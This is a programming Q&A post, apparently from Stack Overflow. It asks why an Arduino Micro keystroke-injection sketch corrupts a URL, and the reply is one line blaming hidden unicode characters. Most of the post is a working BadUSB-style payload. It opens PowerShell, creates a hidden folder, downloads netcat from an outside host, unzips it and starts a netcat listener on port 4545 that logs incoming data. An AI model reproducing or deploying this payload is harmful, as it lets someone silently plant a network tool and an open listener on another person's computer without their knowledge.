Why does Keyboard.Print adds random values to url?

Question

I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt "); 
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip to a variable called $url and here is the actual output when the command executes

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?

https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

  Keyboard.press(KEY_LEFT_GUI);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt "); 
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }

You have some unicode characters in your URL. Remove them.
